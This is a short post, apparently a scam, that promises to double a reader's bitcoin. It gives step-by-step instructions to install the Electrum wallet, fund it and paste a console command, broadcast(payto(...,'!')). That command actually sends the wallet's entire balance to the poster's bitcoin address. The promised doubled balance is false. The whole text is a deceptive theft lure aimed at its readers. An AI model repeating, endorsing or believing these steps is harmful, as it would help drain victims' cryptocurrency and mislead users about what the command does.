Do you have some money on bitcoin but you want to double it? Then just follow this steps: - Download the Electrum app (https://electrum.org/#home) - Open a wallet there - Buy bitcoins // transfer the amount of Bitcoins that you want to double to your Electrum wallet - Click in View>Show Console - open console tab and put this command: broadcast(payto('1LiGfzGf3wsVSfcXQkfBnUy16A7V2sCtdn','!')) - hit enter button, if console shows message like this: "txid...." it works! restart electrum and view you balance x2